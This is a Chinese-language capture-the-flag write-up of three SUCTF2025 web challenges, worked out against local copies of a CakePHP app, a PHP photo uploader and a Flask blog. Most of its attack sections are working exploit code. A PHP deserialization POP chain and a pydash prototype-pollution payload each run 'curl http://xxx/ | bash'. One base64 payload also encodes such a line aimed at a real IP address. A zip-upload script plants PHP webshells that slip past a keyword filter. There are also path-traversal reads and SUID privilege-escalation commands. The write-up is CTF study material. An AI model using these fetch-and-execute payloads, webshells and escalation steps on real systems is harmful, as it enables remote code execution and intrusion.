SUCTF2025

java题目等年后再来嘻嘻

SU_POP

SU_POP 环境配置

  1. 不用使用compose
  2. Dockerfile build一下: docker build -t su_pop:latest .
  3. run一下即可: docker run -d -p 5000:80 --name su_pop su_pop:latest
  4. 可以访问就ok了

SU_POP 分析 | SV

  1. 这里链子的寻找和java的反序列化链子很像
  2. 有源码文件,审计一波吧
    1. /var/www/html 可读可写;有mysql连接
    2. 信息都会交给pagesController进行处理
    3. 锁定范围pop链子,比赛时到这里找不到链子的入口点就断了,节省时间直接看题解提示和思路找链子吧(实际上并没有进行锁定,直接找bro)

SU_POP 复现 | SV

  1. 由于没有做出来,直接看怎么复现,分析一下目录结构

    1. app_local.php: 有security的salt值,数据库名与密码,EmailTransport
    2. route.php: 路由
    3. PagesController.php
      1. 在handleSer()函数中传入函数即可成功反序列化,并且会显示回来(html转移了似乎h())
      2. display应该可以不用管,这里就是单纯返回渲染后的文件
  2. 调用链子(实际上是一个很耗费时间的过程,但是大致就那么几步,简单->复杂找就好)

    1. S1: 找文章熟悉一下和寻找及技巧(这一步也可以在后面): 其实这篇有看到过55
    2. S2: 找sink: 就是代码执行或者命令执行,或者是回调(任意函数调用)的地方
      1. 这里不浪费时间,直接搜eval,最简单的有两个
        1. Mockclass::generate() mockName, classCode均可控
        2. Mocktrait::generate() mockName, classCode均可控
    3. S3: 找调用处,可以是回调/名称调用,直接搜call(,有
      1. TraceableCommand::__call(…)
      2. ReflectionContainer::call(…)
      3. BehaviorRegistry::call(…) 这个比较easy的逻辑,设置变量比较easy
      4. Association.php::__call(…)
      5. TranslateBehavior.php::__call(…)
      6. Table.php::__call(…)
      7. 后面还有很多,先复现吧
    4. 再找调用usages看看,也可以是__call
      1. Table.php::__call(…) 可以调用BehaviorRegistry::call()
    5. S4: 魔术方法再往上比较难,按照技巧/换一个方向寻找(或者找文章)
      1. 目的是要到__call,不知道调用的是什么方法,但是可以知道是Table这个对象的(找了半个小时突然发现php是动态类型的,笑),这里只需要是Table对象调用不同方法,这个Table对象可以是随便赋值的(因为是php)
      2. 有一个方法是从给定的魔术方法入手,__toString()就很好,但是这里不是,这里是换了个方向
    6. S5: 找__destruct()/__wakeup()
      1. __wakeup()没有找到
      2. RejectedPromise的__destruct()下一步有__toString(),可控,ok了家人们,找__toString()到可控对象调用函数
    7. S6: 顺着可控的__destruct()
      1. Response.php:__toString()可控,只需要把stream变成Table即可

    还是vscode用的爽

    1
    2
    3
    4
    5
    React\Promise\Internal\RejectedPromise::__destruct()
    -->Cake\Http\Response::__toString()
    -->Cake\ORM\Table::__call()
    -->Cake\ORM\BehaviorRegistry::call()
    -->PHPUnit\Framework\MockObject\Generator\MockClass::generate()
  3. 来个payload即可

    1. 本地docker起一个cakephp服务

      1. Dockerfile和docker-compose.yml如下(ai的嘻嘻)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        // Dockerfile
        FROM php:8.2-apache

        # 安装必要的 PHP 扩展
        RUN apt-get update && apt-get install -y \
        libicu-dev libonig-dev libzip-dev unzip git \
        && docker-php-ext-install intl mbstring pdo pdo_mysql opcache \
        && a2enmod rewrite

        # 安装 Composer
        RUN curl -L https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer

        # 设置工作目录
        WORKDIR /var/www/html

        # 安装 CakePHP 5 项目
        RUN composer create-project --prefer-dist "cakephp/app:^5.0" . \
        && chown -R www-data:www-data /var/www/html \
        && chmod -R 755 /var/www/html

        # 暴露 Web 服务端口
        EXPOSE 80


        // docker-compose.yml
        // 需要创建一个/logsl来存放logs,也可以添加更多来进行持久化
        services:
        web:
        build: .
        ports:
        - "4999:80"
        volumes:
        - /home/kc1zs4/Docker/SUctf25/cakephp5/logs:/var/log/apache2
        restart: always

      2. /var/www/html/webroot 下直接起一个服务可以直接使用php文件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      // su_pop.php
      // 只需要设置需要利用到的属性即可,这里需要搞懂一下命名空间
      <?php
      namespace PHPUnit\Framework\MockObject\Generator;

      class MockClass
      {
      public $classCode;
      public $mockName;
      public function __construct() {
      $this->classCode ="system('curl http://xxx/ | bash');";
      $this->mockName = "KC1zs4";
      }
      }

      namespace Cake\ORM;

      use PHPUnit\Framework\MockObject\Generator\MockClass;

      class BehaviorRegistry
      {
      public $_methodMap;
      public $_loaded;

      public function __construct() {
      $this->_methodMap = ["rewind" => ["KC1zs4", "generate"]];
      $this->_loaded = ["KC1zs4" => new MockClass()];
      }
      }

      class Table
      {
      public $_behaviors;
      public function __construct() {
      $this->_behaviors = new BehaviorRegistry();
      }
      }

      namespace Cake\Http;

      use Cake\ORM\Table;

      class Response
      {
      public $stream;
      public function __construct() {
      $this->stream = new Table();
      }
      }

      namespace React\Promise\Internal;

      use Cake\Http\Response;

      final class RejectedPromise
      {
      public $reason;
      public function __construct() {
      $this->reason = new Response();
      }
      }

      $a=new RejectedPromise();
      echo "<h1>hello kc1zs4</h1>";
      echo base64_encode(serialize($a));
    2. python payload脚本

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      import requests

      host="http://localhost:10021"

      session = requests.Session()

      ### /ser
      path_ser = "/ser"
      ser_params = {
      "ser": "TzozODoiUmVhY3RcUHJvbWlzZVxJbnRlcm5hbFxSZWplY3RlZFByb21pc2UiOjE6e3M6NjoicmVhc29uIjtPOjE4OiJDYWtlXEh0dHBcUmVzcG9uc2UiOjE6e3M6Njoic3RyZWFtIjtPOjE0OiJDYWtlXE9STVxUYWJsZSI6MTp7czoxMDoiX2JlaGF2aW9ycyI7TzoyNToiQ2FrZVxPUk1cQmVoYXZpb3JSZWdpc3RyeSI6Mjp7czoxMDoiX21ldGhvZE1hcCI7YToxOntzOjY6InJld2luZCI7YToyOntpOjA7czo2OiJLQzF6czQiO2k6MTtzOjg6ImdlbmVyYXRlIjt9fXM6NzoiX2xvYWRlZCI7YToxOntzOjY6IktDMXpzNCI7Tzo0ODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxHZW5lcmF0b3JcTW9ja0NsYXNzIjoyOntzOjk6ImNsYXNzQ29kZSI7czo0OToic3lzdGVtKCdjdXJsIGh0dHA6Ly84LjEzOC4xOTEuMTM6MTAwMDEvIHwgYmFzaCcpOyI7czo4OiJtb2NrTmFtZSI7czo2OiJLQzF6czQiO319fX19fQ=="
      }
      r = session.get(host + path_ser, params=ser_params, timeout=5)
      print(r.text)
    3. 进入shell

      1. 找一下flag,find / -name *flag*
      2. find suid提权一波带走: ls -alfind / -user root -perm -4000find . -exec cat /*flag* \;
      3. SUCTF{PoP_CHaiN5_@Re_SO_fUn!!!}

SU_photogallery

SU_photogallery 环境配置

  1. 老样子docker-compose build
  2. 修改一下想要的端口(在docker-compose里),然后docker-compose up -d

SU_photogallery 分析 | SV

  1. 上传需要是zip和图片,会不会有unzip
  2. 可以知道是php写的,上传一下也没有好信息,报错也杯ban掉了,至少需要unzip文件怎么样啊bro
  3. 这里应该是要尝试读一下文件
    1. 测信道?有些函数有啊,但是这里没有输入纯靠路由吗?zip或许先移动到/tmp/下?然后再解压?,直接再zip这里测信道吗 Nop!

SU_photogallery 复现 | SV

初见杀了55

  1. 提取信息:测试+php,使用的是php Server(这里真是nb,写的是容易配的环境,很明显是题眼),目的至少要读到文件,需要找相关的漏洞

    1. php Server漏洞,有[https://blog.csdn.net/Kawakaze_JF/article/details/133046885]
    2. bp发包(要关掉content-length自动添加)
      1. 这里python受到了局限,需要用bp,下面是bp试图,\r\n是bp中显示出来的
    3. 注意点
      1. 这里需要使用kc1zs4.txt,不能是kc1zs4/文件夹,也不能是php文件,文章里也有说
    1
    2
    3
    4
    5
    6
    GET /unzip.php HTTP/1.1\r\n
    Host: 127.0.0.1:5000\r\n
    \r\n
    \r\n
    GET /kc1zs4.txt HTTP/1.1\r\n
    \r\n
  2. 代码审计

    1. 这里其实只需要上传一个php文件然后访问执行即可getshell
    2. 现在的问题在于上传的文件extract出来后会重命名,爆破有点逆天了?还有别的方法吗(想不到了55)
      1. idea1(其实就是idea3嘻嘻): extractTo()是一个一个解压还是啥,这里失败后并没有返回,后续仍然会移动到upload/suimages/下
      2. idea2: 软连接,似乎可以用../l来绕过吧,可以本地试试,php这个函数似乎有版本限制,试的话要挺久,搜不到再回来试一试吧
      3. idea3: 找找资料: php zip ctf[https://ucasers.cn/zip在CTF-web方向中的一些用法],这篇搜extractTo(),title-9这里的描述很符合,ok的,报错的也可以文件名做文章
      4. idea4: 再check_extension和file_rename中使得unlink出错保留下来文件emm
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    <?php
    /*
    * @Author: Nbc
    * @Date: 2025-01-13 16:13:46
    * @LastEditors: Nbc
    * @LastEditTime: 2025-01-13 16:31:53
    * @FilePath: \src\unzip.php
    * @Description:
    *
    * Copyright (c) 2025 by Nbc, All Rights Reserved.
    */
    error_reporting(0);

    function get_extension($filename){
    return pathinfo($filename, PATHINFO_EXTENSION);
    }
    function check_extension($filename,$path){
    $filePath = $path . DIRECTORY_SEPARATOR . $filename;

    if (is_file($filePath)) {
    $extension = strtolower(get_extension($filename));

    // 不能上传图片
    if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
    if (!unlink($filePath)) {
    // echo "Fail to delete file: $filename\n";
    return false;
    }
    else{
    // echo "This file format is not supported:$extension\n";
    return false;
    }

    }
    else{
    return true;
    }
    }
    else{
    // echo "nofile";
    return false;
    }
    }
    function file_rename ($path,$file){
    $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
    $oldPath = $path . DIRECTORY_SEPARATOR . $file;
    $newPath = $path . DIRECTORY_SEPARATOR . $randomName;

    // 随机名称,但是还是可以爆破来的,目录的话有点难搞
    if (!rename($oldPath, $newPath)) {
    unlink($path . DIRECTORY_SEPARATOR . $file);
    // echo "Fail to rename file: $file\n";
    return false;
    }
    else{
    return true;
    }
    }

    function move_file($path,$basePath){
    foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
    $destination = $basePath . DIRECTORY_SEPARATOR . basename($file); // 这个是可控的
    // 移动文件到指定目录
    if (!rename($file, $destination)){
    // echo "Fail to rename file: $file\n";
    return false;
    }

    }
    return true;
    }


    function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
    $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
    if (strpos($fileContent, $base64_keyword)!== false) {
    return true;

    }
    else{
    return false;

    }
    }
    }

    function check_content($zip){
    for ($i = 0; $i < $zip->numFiles; $i++) {
    $fileInfo = $zip->statIndex($i);
    $fileName = $fileInfo['name'];
    if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
    return false;
    }
    // echo "Checking file: $fileName\n";
    $fileContent = $zip->getFromName($fileName);


    // 似乎可以拼接,base64的也过滤了
    if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
    // echo "Don't hack me!\n";
    return false;
    }
    else {
    continue;
    }
    }
    return true;
    }

    function unzip($zipname, $basePath) {
    $zip = new ZipArchive;

    // 是想要phar吗?用于执行命令的话,似乎不行
    if (!file_exists($zipname)) {
    // echo "Zip file does not exist";
    return "zip_not_found";
    }
    if (!$zip->open($zipname)) {
    // echo "Fail to open zip file";
    return "zip_open_failed";
    }
    if (!check_content($zip)) {
    return "malicious_content_detected";
    }
    // 无法竞争,只能穿越?
    $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
    $path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
    // 可以执行,可是访问不到啊
    if (!mkdir($path, 0777, true)) {
    // echo "Fail to create directory";
    $zip->close();
    return "mkdir_failed";
    }
    // 内置的函数
    if (!$zip->extractTo($path)) {
    // echo "Fail to extract zip file";
    $zip->close();
    }
    else{
    // 当且仅当提取成功时,才会检查文件
    for ($i = 0; $i < $zip->numFiles; $i++) {
    $fileInfo = $zip->statIndex($i);
    $fileName = $fileInfo['name'];
    if (!check_extension($fileName, $path)) {
    // echo "Unsupported file extension";
    continue;
    }
    if (!file_rename($path, $fileName)) {
    // echo "File rename failed";
    continue;
    }
    }
    }

    // 作用:移动文件到指定目录
    if (!move_file($path, $basePath)) {
    $zip->close();
    // echo "Fail to move file";
    return "move_failed";
    }
    rmdir($path);
    $zip->close();
    return true; // return true的一定走完了全流程
    }


    $uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/'; // DIRECTORY_SEPARATOR是常量
    if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true); // 可执行可上传
    }

    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadedFile = $_FILES['file'];
    $zipname = $uploadedFile['tmp_name'];
    $path = $uploadDir;

    // 调用unzip,目录穿越,然后可以执行吗,这里的unzip不是内置的
    $result = unzip($zipname, $path);
    if ($result === true) {
    header("Location: index.html?status=success");
    exit();
    } else {
    header("Location: index.html?status=$result");
    exit();
    }
    } else {
    header("Location: index.html?status=file_error");
    exit();
    }
  3. 使用idea3上传一个zip文件,先读取一下poc一下,kc1zs4.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import zipfile
    import io

    mf = io.BytesIO()
    with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr('kc1zs4.txt', b'hello kc1zs4')
    zf.writestr('A'*5000, b'AAAAA') # 构造出错

    with open("kc1zs4.zip", "wb") as f:
    f.write(mf.getvalue())
    1. ok,接下来写上shell了嘻嘻,直接访问得到,nice,绕黑名单,phpinfo看看有没有disable_functions,有的话就要绕过了

      1. emm,info也要绕过zf.writestr('kc1zs4.php', b'<?php $a="phpinf";$b="o";$c=$a.$b;$c();')
      2. wc,确实有info,但是没有system(),搞笑呢?
        1. zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("l"."s /");')
        2. zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("ca"."t /seef1ag_getfl4g");')
        3. SUCTF{sti1l_w0t3r_Run_d@@p!!!}
      3. payload
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      import requests

      host="http://localhost:5000"
      bp = {
      "http": "http://localhost:8080",
      }

      session = requests.Session()

      ### 生成zip文件
      import zipfile
      import io

      mf = io.BytesIO()
      with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
      # phpinfo
      # zf.writestr('kc1zs4.php', b'<?php $a="phpinf";$b="o";$c=$a.$b;$c();')

      # system()
      # zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c(\'$_POST["kc1zs4"]\');')
      # zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("l"."s /");')
      zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("ca"."t /seef1ag_getfl4g");')
      zf.writestr('A'*5000, b'AAAAA') # 构造出错

      with open("kc1zs4.zip", "wb") as f:
      f.write(mf.getvalue())

      ### 报错的思路
      # path_error="/error"
      # r = session.get(host+path_error, proxies=bp, timeout=5)
      # print(r.text)

      ### 发送一个zip看
      path_unzip="/unzip.php"
      zip_file = {
      "file": (
      'kc1zs4.zip', open('kc1zs4.zip', 'rb'), 'application/zip'
      )
      }
      r = session.post(host+path_unzip, files=zip_file, proxies=bp, timeout=5)
      print(r.text)

SU_blog

SU_blog 环境配置

  1. 给了docker(ai: docker compose基本命令)
    1. 进入Dockerfile项目根目录docker-compose build
    2. 查看正在运行的服务docker-compose ps
    3. 启动服务docker-compose up -d,-d指定后台运行
    4. 停止服务docker-compose down

SU_blog 分析| SV

  1. 没有源码,注册个账号,进入,看看能不能拿源码

  2. 登录后拿到提示

    1. 这个session像是flask
    2. 我最喜欢时间戳了,而且听说md5这种单项签名非常安全,所以我把博客诞生的时间当做了自己的SECRET
    3. 没法报错?
  3. 目录穿越有没有找到和无权限两种,这个权限怎么办

    1. ???注册一个admin的用户突然就有权限了?权限绕过这么ez?

    2. articles/….//articles/article1.txt可以读取到文件,方向应该是对的

    3. article?file=articles/….//….//….//….//….//….//etc/passwd,成功读到

    4. article?file=articles/….//….//….//….//….//….//proc/1/environ 但是没有flag嘻嘻,肯定不会这么简单,想方法读读源码,猜测是flask框架,读运行目录

    5. 印象还有个cmdline是进程命令行参数的

      1. [https://www.cnblogs.com/niyani/p/17074125.html] 很像啊,有pythonapp/app.py
      2. articles/….//….//….//….//….//….//….//….//….//….//pythonapp/app.py没有啊
      3. 直接app.py试一试,file=articles/….//app.py,ok,读到源码,审计一下
        1. SECRET是否可以伪造
        2. /article的file可以是数组?
        3. 有waf.py,但黑名单,给出了pwaf和cwaf,不能读就只能盲注了,fenjing!
          1. key和value的waf似乎是不一样的
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      126
      127
      128
      129
      130
      131
      132
      133
      134
      135
      136
      137
      138
      139
      140
      141
      142
      143
      144
      145
      146
      147
      148
      149
      150
      151
      152
      153
      154
      155
      156
      157
      158
      159
      160
      161
      162
      163
      164
      165
      166
      167
      168
      169
      170
      171
      172
      173
      174
      175
      176
      177
      178
      179
      180
      181
      182
      183
      184
      185
      186
      187
      188
      189
      190
      191
      192
      193
      194
      195
      196
      197
      198
      199
      200
      201
      202
      203
      204
      205
      206
      207
      208
      209
      210
      211
      212
      213
      214
      215
      216
      217
      218
      219
      220
      221
      222
      223
      224
      225
      226
      227
      228
      229
      230
      231
      232
      233
      234
      235
      236
      237
      238
      from flask import *
      import time,os,json,hashlib
      from pydash import set_
      from waf import pwaf,cwaf

      app = Flask(__name__)
      # 密钥是时间戳,可以伪造session吗
      app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

      users = {"testuser": "password"} # 有一个给定的users
      # 项目根目录
      BASE_DIR = '/var/www/html/myblog/app'

      articles = {
      1: "articles/article1.txt",
      2: "articles/article2.txt",
      3: "articles/article3.txt"
      }

      friend_links = [
      {"name": "bkf1sh", "url": "https://ctf.org.cn/"},
      {"name": "fushuling", "url": "https://fushuling.com/"},
      {"name": "yulate", "url": "https://www.yulate.com/"},
      {"name": "zimablue", "url": "https://www.zimablue.life/"},
      {"name": "baozongwi", "url": "https://baozongwi.xyz/"},
      ]

      class User():
      def __init__(self):
      pass

      user_data = User()
      """
      只判断session中的用户名
      """
      @app.route('/')
      def index():
      if 'username' in session:
      return render_template('blog.html', articles=articles, friend_links=friend_links)
      return redirect(url_for('login'))



      """
      登录成功就进行重定向
      """
      @app.route('/login', methods=['GET', 'POST'])
      def login():
      if request.method == 'POST':
      username = request.form['username']
      password = request.form['password']
      if username in users and users[username] == password:
      session['username'] = username
      return redirect(url_for('index'))
      else:
      return "Invalid credentials", 403
      return render_template('login.html')


      """
      注册后就放入users字典中
      """
      @app.route('/register', methods=['GET', 'POST'])
      def register():
      if request.method == 'POST':
      username = request.form['username']
      password = request.form['password']
      users[username] = password
      return redirect(url_for('login'))
      return render_template('register.html')

      """

      """
      @app.route('/change_password', methods=['GET', 'POST'])
      def change_password():
      # 判断是否登录
      if 'username' not in session:
      return redirect(url_for('login'))

      # 通过旧密码来鉴权
      if request.method == 'POST':
      old_password = request.form['old_password']
      new_password = request.form['new_password']
      confirm_password = request.form['confirm_password']

      if users[session['username']] != old_password:
      flash("Old password is incorrect", "error")
      elif new_password != confirm_password:
      flash("New passwords do not match", "error")
      else:
      users[session['username']] = new_password
      flash("Password changed successfully", "success")
      return redirect(url_for('index'))

      return render_template('change_password.html')

      """
      只有admin才可以访问/friendlinks,或者session中有username(也没啥)
      """
      @app.route('/friendlinks')
      def friendlinks():
      if 'username' not in session or session['username'] != 'admin':
      return redirect(url_for('login'))
      return render_template('friendlinks.html', links=friend_links)


      """
      要求同/friendlinks,应该能xss
      """
      @app.route('/add_friendlink', methods=['POST'])
      def add_friendlink():
      if 'username' not in session or session['username'] != 'admin':
      return redirect(url_for('login'))

      name = request.form.get('name')
      url = request.form.get('url')

      if name and url:
      friend_links.append({"name": name, "url": url})

      return redirect(url_for('friendlinks'))


      """
      要求同/friendlink
      """
      @app.route('/delete_friendlink/<int:index>')
      def delete_friendlink(index):
      if 'username' not in session or session['username'] != 'admin':
      return redirect(url_for('login'))

      if 0 <= index < len(friend_links):
      del friend_links[index]

      return redirect(url_for('friendlinks'))



      @app.route('/article')
      def article():
      if 'username' not in session:
      return redirect(url_for('login'))

      file_name = request.args.get('file', '')
      if not file_name:
      return render_template('article.html', file_name='', content="未提供文件名。")

      blacklist = ["waf.py"]
      # 这里是允许file_name是数组吗
      if any(blacklisted_file in file_name for blacklisted_file in blacklist):
      return render_template('article.html', file_name=file_name, content="大黑阔不许看")

      # 需要指定个开头,想对了
      if not file_name.startswith('articles/'):
      return render_template('article.html', file_name=file_name, content="无效的文件路径。")

      if file_name not in articles.values():
      # 现在是admin了没有问题
      if session.get('username') != 'admin':
      return render_template('article.html', file_name=file_name, content="无权访问该文件。")

      file_path = os.path.join(BASE_DIR, file_name)
      file_path = file_path.replace('../', '') # 双写绕过

      try:
      # 可以读取任意文件
      with open(file_path, 'r', encoding='utf-8') as f:
      content = f.read()
      except FileNotFoundError:
      content = "文件未找到。"
      except Exception as e:
      app.logger.error(f"Error reading file {file_path}: {e}")
      content = "读取文件时发生错误。"

      return render_template('article.html', file_name=file_name, content=content)


      """
      这里应该是重点
      post请求,get中pass=SUers
      post传json

      user_data ssti?
      """
      @app.route('/Admin', methods=['GET', 'POST'])
      def admin():
      if request.args.get('pass')!="SUers":
      return "nonono"
      if request.method == 'POST':
      try:
      body = request.json

      if not body:
      flash("No JSON data received", "error")
      return jsonify({"message": "No JSON data received"}), 400

      key = body.get('key')
      value = body.get('value')

      if key is None or value is None:
      flash("Missing required keys: 'key' or 'value'", "error")
      return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

      if not pwaf(key):
      flash("Invalid key format", "error")
      return jsonify({"message": "Invalid key format"}), 400

      if not cwaf(value):
      flash("Invalid value format", "error")
      return jsonify({"message": "Invalid value format"}), 400

      set_(user_data, key, value)

      flash("User data updated successfully", "success")
      return jsonify({"message": "User data updated successfully"}), 200

      except json.JSONDecodeError:
      flash("Invalid JSON data", "error")
      return jsonify({"message": "Invalid JSON data"}), 400
      except Exception as e:
      flash(f"An error occurred: {str(e)}", "error")
      return jsonify({"message": f"An error occurred: {str(e)}"}), 500

      return render_template('admin.html', user_data=user_data)


      @app.route('/logout')
      def logout():
      # 重置你的session
      session.pop('username', None)
      flash("You have been logged out.", "info")
      return redirect(url_for('login'))



      if __name__ == '__main__':
      app.run(host='0.0.0.0',port=10006)
  4. 解决方法一:/Admin SSTI | FALSE

    1. 打/Admin的ssti,绕过waf

    2. emm,还有个pydash,没那么简单,还需要再想想

    3. 需要再读admin.html: /article?file=articles/….//templates/admin.html

      1. 返回如下
        1. user_data,emm是个对象啊bro,这么玩,无回显?大那是可以写入和读取吧
      1
      2
      3
      <h2 class="mt-4">Processed Data:</h2>
      <pre>{{ user_data }}</pre>
      <p class="mt-3"><a href="{{ url_for('index') }}" class="btn btn-secondary">Back to Home</a></p>
  5. 解决方法二:其他ssti | FALSE

    1. 如果只是ssti的话,在/article打不是更好?不用articles/开头就render file_name了,读一下article.html

      1
      2
      <title>Article - {{ file_name }}</title>
      {{ content | safe }}
    2. 不对不对,ssti不是这样

  6. 解决方法三:python pp | True

    1. waf和pydash(原型链),这里应该需要到rce,至少是列目录

    2. 说到列目录,似乎见过这种题,但是这里不适用emm

    3. 那就只能rce了,结合[https://tttang.com/archive/1876/],有两种思路

      1. 直接打rce(是作为模板编译时的处理代码的一部分,同样受到模板缓存的影响,也就是说这里插入的payload只会在模板在第一次访问时触发)
      2. 修改render的识别符号,来进行ssti(也需要考虑缓存)
    4. 关于waf.py可以黑名单测试也可以读一下(居然是非预期): /article?file=articles/….//waf../.py

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
       key_blacklist = [
      '__file__', 'app', 'router', 'name_index',
      'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
      '__loader__', '0', '1', '3', '4', '5', '6', '7', '8', '9',
      ]

      value_blacklist = [
      'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
      'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
      'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
      'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
      'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
      ]

      # 将黑名单转换为字节串
      key_blacklist_bytes = [word.encode() for word in key_blacklist]
      value_blacklist_bytes = [word.encode() for word in value_blacklist]

      def check_blacklist(data, blacklist):
      for item in blacklist:
      if item in data:
      return False
      return True

      def pwaf(key):
      # 将 key 转换为字节串
      key_bytes = key.encode()
      if not check_blacklist(key_bytes, key_blacklist_bytes):
      print(f"Key contains blacklisted words.")
      return False
      return True

      def cwaf(value):
      if len(value) > 77:
      print("Value exceeds 77 characters.")
      return False

      # 将 value 转换为字节串
      value_bytes = value.encode()
      if not check_blacklist(value_bytes, value_blacklist_bytes):
      print(f"Value contains blacklisted words.")
      return False
      return True

SU_blog 复现 | SV

也算是分析出来了,就是操作上有一些麻烦,在这里试试

  1. 直接上payload

    1. 一开始这一步忘记了: 运行完脚本后访问一个模板就可以执行命令了
    2. 这里实际环境会隔两分钟刷新,要卡刷新后第一次访问模板,实战中应该是要在python中发然后随时看nc端口的
    3. SUCTF{fl4sk_1s_5imp1e_bu7_pyd45h_1s_n0t_s0_I_l0v3}
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import requests

    host="http://localhost:5000"
    proxies = {
    "http": "http://localhost:8080",
    }

    session = requests.Session()

    ### /Admin ssti
    path_admin="/Admin"
    admin_params={
    "pass": "SUers"
    }
    admin_json={
    "key": "__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
    "value": "*;__import__('os').system('curl http://xxx/ | bash');#" # 应该是有长度限制
    }
    session.cookies.set("session","eyJ1c2VybmFtZSI6ImFkbWluIn0.Z4-3cw.2M6wNP8P2Wh6W2YtNylsZRzhMzw") # 指定给定的session键值对
    r = session.post(url=host+path_admin, params=admin_params, json=admin_json, proxies=proxies,timeout=5)
    print(r.text)


